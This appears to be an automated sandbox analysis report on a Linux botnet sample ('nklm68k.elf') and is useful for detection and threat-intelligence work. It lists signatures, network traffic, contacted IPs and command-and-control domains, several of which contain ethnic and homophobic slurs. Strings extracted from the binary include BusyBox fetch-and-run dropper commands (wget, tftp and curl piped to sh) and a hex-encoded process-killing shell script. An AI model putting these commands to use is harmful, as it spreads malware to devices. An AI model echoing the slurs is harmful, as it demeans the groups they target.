Linux Analysis Report
nklm68k.elf

Overview

General Information

Sample name: nklm68k.elf
Analysis ID: 1543145
MD5: 166450ae91cf1d40f023a6e920733dda
SHA1: 49f822a4fe604e4f7ab79ff93b5add3b84202aae
SHA256: 852646730b58ae64c81090c2e0d4e5e9b45f3dfdcc0c95424de076a4ecebc363
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: nklm68k.elf ReversingLabs: Detection: 47%
Found strings indicative of a multi-platform dropper
Source: nklm68k.elf String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.15:55766 -> 45.156.86.24:38241
Source: global traffic TCP traffic: 192.168.2.15:49082 -> 185.150.24.67:38241
Sample listens on a socket
Source: /tmp/nklm68k.elf (PID: 5821) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 195.113.19.129
Source: unknown TCP traffic detected without corresponding DNS query: 217.119.140.122
Source: unknown TCP traffic detected without corresponding DNS query: 136.86.251.6
Source: unknown TCP traffic detected without corresponding DNS query: 201.123.161.73
Source: unknown TCP traffic detected without corresponding DNS query: 150.178.216.195
Source: unknown TCP traffic detected without corresponding DNS query: 197.145.33.26
Source: unknown TCP traffic detected without corresponding DNS query: 86.173.52.178
Source: unknown TCP traffic detected without corresponding DNS query: 72.4.233.4
Source: unknown TCP traffic detected without corresponding DNS query: 123.160.148.193
Source: unknown TCP traffic detected without corresponding DNS query: 178.135.75.147
Source: unknown TCP traffic detected without corresponding DNS query: 133.36.140.208
Source: unknown TCP traffic detected without corresponding DNS query: 6.150.217.24
Source: unknown TCP traffic detected without corresponding DNS query: 43.16.186.175
Source: unknown TCP traffic detected without corresponding DNS query: 106.167.204.41
Source: unknown TCP traffic detected without corresponding DNS query: 118.159.53.110
Source: unknown TCP traffic detected without corresponding DNS query: 103.194.23.99
Source: unknown TCP traffic detected without corresponding DNS query: 171.136.211.215
Source: unknown TCP traffic detected without corresponding DNS query: 68.221.59.52
Source: unknown TCP traffic detected without corresponding DNS query: 47.175.163.243
Source: unknown TCP traffic detected without corresponding DNS query: 126.107.236.41
Source: unknown TCP traffic detected without corresponding DNS query: 7.11.171.206
Source: unknown TCP traffic detected without corresponding DNS query: 191.185.1.205
Source: unknown TCP traffic detected without corresponding DNS query: 119.144.167.232
Source: unknown TCP traffic detected without corresponding DNS query: 11.2.88.127
Source: unknown TCP traffic detected without corresponding DNS query: 145.198.52.126
Source: unknown TCP traffic detected without corresponding DNS query: 89.141.82.212
Source: unknown TCP traffic detected without corresponding DNS query: 219.68.1.18
Source: unknown TCP traffic detected without corresponding DNS query: 66.174.151.244
Source: unknown TCP traffic detected without corresponding DNS query: 66.144.223.250
Source: unknown TCP traffic detected without corresponding DNS query: 1.199.115.158
Source: unknown TCP traffic detected without corresponding DNS query: 184.226.231.23
Source: unknown TCP traffic detected without corresponding DNS query: 100.144.201.64
Source: unknown TCP traffic detected without corresponding DNS query: 205.159.27.245
Source: unknown TCP traffic detected without corresponding DNS query: 41.230.19.171
Source: unknown TCP traffic detected without corresponding DNS query: 196.1.105.118
Source: unknown TCP traffic detected without corresponding DNS query: 44.62.84.165
Source: unknown TCP traffic detected without corresponding DNS query: 192.32.245.11
Source: unknown TCP traffic detected without corresponding DNS query: 43.91.52.104
Source: unknown TCP traffic detected without corresponding DNS query: 99.150.244.230
Source: unknown TCP traffic detected without corresponding DNS query: 144.255.8.90
Source: unknown TCP traffic detected without corresponding DNS query: 223.189.90.151
Source: unknown TCP traffic detected without corresponding DNS query: 96.231.158.65
Source: unknown TCP traffic detected without corresponding DNS query: 162.23.59.121
Source: unknown TCP traffic detected without corresponding DNS query: 106.140.70.159
Source: unknown TCP traffic detected without corresponding DNS query: 30.213.89.197
Source: unknown TCP traffic detected without corresponding DNS query: 68.114.20.53
Source: unknown TCP traffic detected without corresponding DNS query: 79.243.124.137
Source: unknown TCP traffic detected without corresponding DNS query: 174.9.213.123
Source: unknown TCP traffic detected without corresponding DNS query: 131.111.153.170
Source: unknown TCP traffic detected without corresponding DNS query: 179.131.22.210
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: global traffic DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: nklm68k.elf String found in binary or memory: http:///curl.sh
Source: nklm68k.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/0@8/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/nklm68k.elf (PID: 5821) Queries kernel information via 'uname': Jump to behavior
Source: nklm68k.elf, 5821.1.00007ffe57d11000.00007ffe57d32000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: nklm68k.elf, 5821.1.0000561c93181000.0000561c93205000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k
Source: nklm68k.elf, 5821.1.0000561c93181000.0000561c93205000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/m68k
Source: nklm68k.elf, 5821.1.00007ffe57d11000.00007ffe57d32000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/nklm68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nklm68k.elf

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
184.27.0.97
 unknown United States
16625 AKAMAI-ASUS false
157.127.83.224
 unknown United States
1906 NORTHROP-GRUMMANUS false
99.58.11.28
 unknown United States
7018 ATT-INTERNET4US false
114.169.118.206
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
178.109.220.150
 unknown United Kingdom
12576 EELtdGB false
62.139.209.107
 unknown Egypt
36992 ETISALAT-MISREG false
58.59.207.176
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
67.12.72.190
 unknown United States
33363 BHN-33363US false
185.176.0.85
 unknown Ireland
47720 CIX-ASIE false
35.199.187.125
 unknown United States
15169 GOOGLEUS false
195.130.116.202
 unknown Greece
8581 UOIGR false
33.126.130.180
 unknown United States
2686 ATGS-MMD-ASUS false
86.250.60.16
 unknown France
3215 FranceTelecom-OrangeFR false
126.25.120.31
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
179.37.185.244
 unknown Argentina
22927 TelefonicadeArgentinaAR false
16.214.161.161
 unknown United States
unknown unknown false
91.60.133.212
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
172.68.224.89
 unknown United States
13335 CLOUDFLARENETUS false
41.21.240.11
 unknown South Africa
36994 Vodacom-VBZA false
41.195.161.98
 unknown South Africa
16637 MTNNS-ASZA false
1.62.228.194
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
197.201.220.183
 unknown Algeria
36947 ALGTEL-ASDZ false
54.239.141.132
 unknown United States
16509 AMAZON-02US false
120.193.180.183
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
155.194.255.137
 unknown Canada
8698 NationwideBuildingSocietyGB false
12.55.201.53
 unknown United States
7018 ATT-INTERNET4US false
219.153.119.198
 unknown China
134420 CHINATELECOM-CHONGQING-IDCChongqingTelecomCN false
96.115.47.111
 unknown United States
7922 COMCAST-7922US false
194.29.122.109
 unknown European Union
29224 HELLMANNForroutingissuesdrohlmandehellmannnetDE false
201.130.169.135
 unknown Mexico
6332 TelefonosdelNoroesteSAdeCVMX false
42.76.124.125
 unknown Taiwan; Republic of China (ROC)
17421 EMOME-NETMobileBusinessGroupTW false
49.40.95.14
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
206.38.22.160
 unknown United States
721 DNIC-ASBLK-00721-00726US false
124.245.211.143
 unknown Japan 7671 MCNETNTTSmartConnectCorporationJP false
68.0.19.176
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
48.68.51.124
 unknown United States
2686 ATGS-MMD-ASUS false
20.161.48.50
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
55.166.118.121
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
113.166.4.45
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
54.147.29.146
 unknown United States
14618 AMAZON-AESUS false
136.53.245.213
 unknown United States
16591 GOOGLE-FIBERUS false
158.222.56.194
 unknown United States
11492 CABLEONEUS false
200.186.116.32
 unknown Brazil
3549 LVLT-3549US false
14.239.100.88
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
31.199.108.132
 unknown Italy
3269 ASN-IBSNAZIT false
92.100.186.47
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
66.239.249.91
 unknown United States
2828 XO-AS15US false
12.48.236.21
 unknown United States
7018 ATT-INTERNET4US false
19.182.97.54
 unknown United States
3 MIT-GATEWAYSUS false
74.15.251.123
 unknown Canada
577 BACOMCA false
51.172.43.168
 unknown United States
2686 ATGS-MMD-ASUS false
51.242.185.68
 unknown United Kingdom
2686 ATGS-MMD-ASUS false
171.214.85.204
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
186.149.235.11
 unknown Dominican Republic
28118 ALTICEDOMINICANASADO false
102.71.175.118
 unknown Malawi
37294 TNMMW false
17.57.239.113
 unknown United States
714 APPLE-ENGINEERINGUS false
141.153.182.7
 unknown United States
701 UUNETUS false
26.222.175.64
 unknown United States
7922 COMCAST-7922US false
60.97.97.101
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
123.252.141.8
 unknown India
134540 TTML-AS-APTataTeleservicesMaharashtraLtdIN false
49.253.38.195
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
45.197.161.54
 unknown Seychelles
328608 Africa-on-Cloud-ASZA false
203.44.155.32
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
59.133.249.255
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
5.160.255.149
 unknown Iran (ISLAMIC Republic Of)
49100 IR-THR-PTEIR false
157.238.193.32
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
46.175.156.183
 unknown Spain
204004 AIREBULLASES false
42.17.94.78
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
188.75.4.184
 unknown Russian Federation
48209 LANCRONIX-ASMoscowRussiaRU false
207.223.125.27
 unknown United States
33606 TEKLINKSUS false
179.115.154.30
 unknown Brazil
26599 TELEFONICABRASILSABR false
172.126.148.4
 unknown United States
7018 ATT-INTERNET4US false
155.65.224.253
 unknown United States
36291 SANOFIUS false
191.154.152.25
 unknown Colombia
26611 COMCELSACO false
31.193.75.56
 unknown Syrian Arab Republic
29256 INT-PDN-STE-ASSTEPDNInternalASSY false
83.19.227.32
 unknown Poland
5617 TPNETPL false
156.63.113.41
 unknown United States
19902 NET-STATE-OHIOUS false
157.227.65.59
 unknown Australia
4704 SANNETRakutenMobileIncJP false
50.138.133.179
 unknown United States
7922 COMCAST-7922US false
164.195.100.210
 unknown United States
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
58.131.200.190
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
51.253.84.196
 unknown Saudi Arabia
39891 ALJAWWALSTC-ASSA false
198.137.37.154
 unknown United States
292 ESNET-WESTUS false
64.45.158.237
 unknown United States
7944 DMVOL-ASNUS false
216.241.87.96
 unknown United States
36432 PRIMARYDATACENTERUS false
212.111.59.179
 unknown United Kingdom
15830 EQUINIX-CONNECT-EMEAGB false
156.75.185.9
 unknown United States
8103 STATE-OF-FLAUS false
67.109.157.167
 unknown United States
2828 XO-AS15US false
60.150.16.228
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
223.185.135.92
 unknown India
45609 BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService false
36.233.197.139
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
174.255.6.58
 unknown United States
6167 CELLCO-PARTUS false
43.229.246.160
 unknown Japan 18068 ACROSSDreamWaveShizuokaCoLtdJP false
197.46.254.210
 unknown Egypt
8452 TE-ASTE-ASEG false
11.103.14.215
 unknown United States
27651 ENTELCHILESACL false
64.28.82.89
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
116.66.63.182
 unknown China
17621 CNCGROUP-SHChinaUnicomShanghainetworkCN false
115.88.245.35
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
171.99.27.225
 unknown Thailand
17552 TRUE-AS-APTrueInternetCoLtdTH false
76.85.218.28
 unknown United States
11427 TWC-11427-TEXASUS false

Contacted Domains

Name IP Active
yellowchink.pirate 45.156.86.24 true
chinklabs.dyn 185.150.24.67 true
burnthe.libre 45.156.86.24 true
chinklabs.dyn. [malformed] unknown unknown
netfags.geek. [malformed] unknown unknown
yellowchink.pirate. [malformed] unknown unknown